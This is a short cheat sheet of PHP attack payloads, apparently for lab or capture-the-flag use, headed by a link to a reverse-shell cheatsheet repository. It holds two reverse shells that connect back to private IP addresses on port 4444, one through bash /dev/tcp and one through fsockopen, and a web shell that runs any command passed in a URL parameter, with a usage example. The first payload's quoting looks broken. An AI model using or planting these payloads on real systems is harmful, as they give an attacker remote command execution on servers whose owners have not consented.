https://github.com/flast101/reverse-shell-cheatsheet/blob/master/php-reverse-shell.php
# REVERSE SHELL
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"10.10.14.41"/4444 0>&1'");?>
# revshell 2
<?php$sock=fsockopen("10.10.15.177",4444);while(!feof($sock)){$cmd=fgets($sock);$out=shell_exec($cmd);fwrite($sock,$out);}?>
# WEB SHELL (usage: http://target/payload.php?c=your_cmd)
<?php echo shell_exec($_GET['c']);?>
# SIMPLE SHELL
<?php echo shell_exec('hostname');?>